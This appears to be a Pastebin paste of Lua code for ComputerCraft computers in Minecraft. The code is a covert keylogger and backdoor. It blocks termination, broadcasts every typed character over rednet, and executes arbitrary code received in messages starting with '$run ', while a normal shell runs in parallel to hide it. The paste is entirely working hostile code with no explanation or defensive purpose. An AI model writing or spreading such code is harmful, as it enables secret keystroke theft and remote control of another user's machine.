Guest User

Untitled

a guest
Jan 18th, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. function logger()
  2. os.pullEvent=os.pullEventRaw
  3. while true do
  4. event,id,msg,dist=os.pullEvent()
  5. if event == "char" then
  6. rednet.broadcast(id)
  7. elseif event == "rednet_message" then
  8. if msg:sub(1,5) == "$run " then
  9. pcall(loadstring(msg:sub(6)))
  10. end
  11. end
  12. end
  13. end
  14. function shell1()
  15. shell.run("rom/programs/shell")
  16. end
  17. parallel.waitForAny(shell1,logger)
Add Comment
Please, Sign In to add comment